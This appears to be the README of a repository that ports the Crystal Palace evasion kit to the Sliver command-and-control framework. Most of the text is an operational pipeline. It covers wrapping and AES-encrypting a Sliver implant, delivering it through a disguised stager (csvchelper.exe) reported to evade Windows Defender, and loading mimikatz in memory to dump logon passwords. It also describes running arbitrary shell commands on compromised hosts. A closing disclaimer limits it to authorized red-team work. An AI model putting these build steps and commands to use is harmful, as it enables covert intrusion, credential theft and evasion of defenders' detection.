طقم التهرب Crystal Palace لـ Sliver
مجموعة أدوات التهرب من Crystal Palace المنقولة إلى Sliver C2.
هذا هو أول نقل عام لـ Crystal-Kit (Cobalt Strike) الخاص بـ rasta-mouse إلى Sliver. ويتبع نفس نمط C2 المشترك الذي أثبتته Crystal-Kit-Xenon (Mythic).
يستبدل المحمل الانعكاسي الافتراضي لـ Sliver ومسار التنفيذ بعد الاستغلال بـ Crystal Palace (رافائيل مودج، BSD). والنتيجة هي كتلة من كود مستقل عن الموقع (PICO) تجمع:
LoadLibrary / GetProcAddress)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryAيتم إخفاء DLL زرع Sliver (أو أي DLL بعد الاستغلال) بواسطة XOR داخل PICO ولا يتم إظهاره إلا في الذاكرة وقت التنفيذ.
لا يتم تنفيذ DLL زرع Sliver الخام مباشرة على الهدف. بدلاً من ذلك، يتم تغليفه بـ Crystal Palace في PICO، وتشفيره بـ AES-256-CBC، وتقديمه مع مُنظّم مخصص (~17 كيلوبايت) يقوم بفك تشفيره وتنفيذه في الذاكرة.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
بمجرد أن تصبح الجلسة نشطة، قم بتشغيل DLLs الحساسة (استطلاع، منتزعات بيانات الاعتماد، إلخ) من خلال Crystal Palace عبر إضافة Sliver.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
مرر وسيطات وقت التشغيل دون إعادة بناء بإلحاقها بعد |:
sliver > crystal --payload C:/path/file.pico.bin|args here
إن crystal-loader.x64.dll هي إضافة DLL لـ Sliver تقرأ كتلة PICO من القرص في منطقة VirtualAlloc(RW)، وتحولها إلى RX بـ VirtualProtect، وتقفز إلى نقطة الدخول Crystal Palace. لا يتم الاحتفاظ بأي تعيين PAGE_EXECUTE_READWRITE. تستخدم المسارات شرطات مائلة للأمام. تنسيق الوسيطة هو type:string (وليس ثنائي BOF). يتم تحميل DLL في الذاكرة بواسطة Sliver — لا يتم كتابته كملف على قرص الهدف.
crystal-exec هو أمر ثانٍ مضمن في نفس الإضافة. يقوم بتشغيل أوامر الصدفة التعسفية من خلال تهرب Crystal Palace باستخدام PICO مضمن مباشرة في DLL الإضافة — لا حاجة لرفع ملف PICO.
sliver > crystal-exec --cmd "whoami /all"
يتم إرجاع المخرجات إلى المشغل عبر جلسة Sliver الحالية عبر أنبوب. هذا هو أسرع مسار لأوامر الصدفة الفردية عندما لا تحتاج إلى DLL كامل بعد الاستغلال.
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
انظر docs/RUNBOOK.md للإجراء الكامل للمشغل (تثبيت Sliver، إعداد المستمع، تنفيذ الهدف، استكشاف الأخطاء).
| العنصر | الحالة | الأدلة |
|---|---|---|
| جميع مصادر Crystal-Kit تترجم تحت MinGW 15.2 + NASM 3.01 | نعم | make all نظيف، 8 .o + 1 .bin لكل محمل |
| تصحيحات ما بعد الاستغلال من Xenon موجودة | نعم | dfr "ror13"، قسم _DLLARGS_، معامل dll_arguments في DLL_PROCESS_ATTACH |
| واجهة سطر أوامر Crystal Palace تم التحقق منها | نعم | ./link <spec> <dll> <out.bin> [%KEY=value] — موضعي، موثق في dist/README |
| بناء PICO من البداية إلى النهاية (حالة الاستخدام أ) | نعم | تم إنتاج PICO بحجم 117 كيلوبايت من DLL اختباري |
| بناء PICO من البداية إلى النهاية (حالة الاستخدام ب) | نعم | تم إنتاج PICO بحجم 111 كيلوبايت عبر postex-loader/loader.spec |
| بناء DLL غلاف إضافة Sliver | نعم | crystal-loader.x64.dll ~42 كيلوبايت، crystal-exec.x64.dll ~75 كيلوبايت — كلاهما PE32+ يصدر رمز Initialize؛ لا RWX؛ مجردة |
| حزمة tarball الإضافة بشكل صحيح | نعم | تم التحقق من tarball بحجم 37 كيلوبايت بـ tar -tzf |
| بناء المنظّم المخصص (تسليم ملفين) | نعم | bundle-stager.sh → csvchelper.exe (17 كيلوبايت، إنتروبيا 4.784) + payload.dat (AES-256-CBC) |
| تنفيذ وقت التشغيل على ويندوز (حالة الاستخدام أ) | نعم | تم إنشاء جلسة Sliver على Windows 10 x64 FLARE-VM؛ يجتاز المنظّم Defender (Wacatac.B!ml + ZomBytes.B) |
| تنفيذ وقت التشغيل على ويندوز (حالة الاستخدام ب) | نعم | crystal --payload C:/path/file.pico.bin — تم إنشاء جلسة Sliver جديدة عبر PICO بعد الاستغلال؛ تم التحقق من تنسيق الوسيطة كـ type:string، مسار شرطة مائلة للأمام |
أمر crystal-exec | نعم | يتم إرجاع مخرجات أمر الصدفة إلى المشغل عبر أنبوب؛ PICO مضمن في DLL الإضافة، لا حاجة للرفع |
| التبعية | الترخيص | كيفية الحصول عليها | مضمنة؟ |
|---|---|---|---|
Crystal Palace (crystalpalace.jar, link, إلخ) | BSD-3-Clause، (ج) 2025 رافائيل مودج / AFF-WG | curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz | لا (.gitignore يستبعد external/) |
libtcg.x64.zip | ثنائي منبع، ترخيص غير مذكور (على الأرجح مشتق من QEMU TCG) | نسخ من مستودع Crystal-Kit الأصلي | نعم، محفوظ في الشجرة لسهولة البناء |
| Sliver C2 | GPLv3 | https://sliver.sh | لا — تبعية وقت تشغيل فقط |
| MinGW-w64 + NASM | متوافق مع GPL | apt install أو brew install | لا |
لا يعيد هذا المستودع توزيع crystalpalace.jar. خط أنابيب البناء يجلبها خارجياً ويشير إليها عبر متغير البيئة CRYSTAL_PALACE_HOME.
انظر NOTICE.md للحصول على القائمة الكاملة لحقوق النشر والتراخيص من المنبع. ملخص موجز:
dll_args)beacon.h, beacon_compatibility.c/h)docs/PORTING_MAP.md)sliver-glue/ وبيان الإضافةgenerate-implant.sh + bundle-implant.shcrystal --payload، تم إصلاح تنسيق الوسيطة إلى type:string، مسار شرطة مائلة للأمام)crystal-exec: تنفيذ أوامر الصدفة المضمنة بعد الاستغلال عبر Crystal Palace (لا حاجة للرفع)| لوسيطات DLL ديناميكية دون إعادة بناءأدوات أمن هجومية مخصصة لمهام الفريق الأحمر المصرح بها، والبحث المخبري، والتعليم. استخدم فقط في البيئات التي لديك فيها إذن كتابي. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.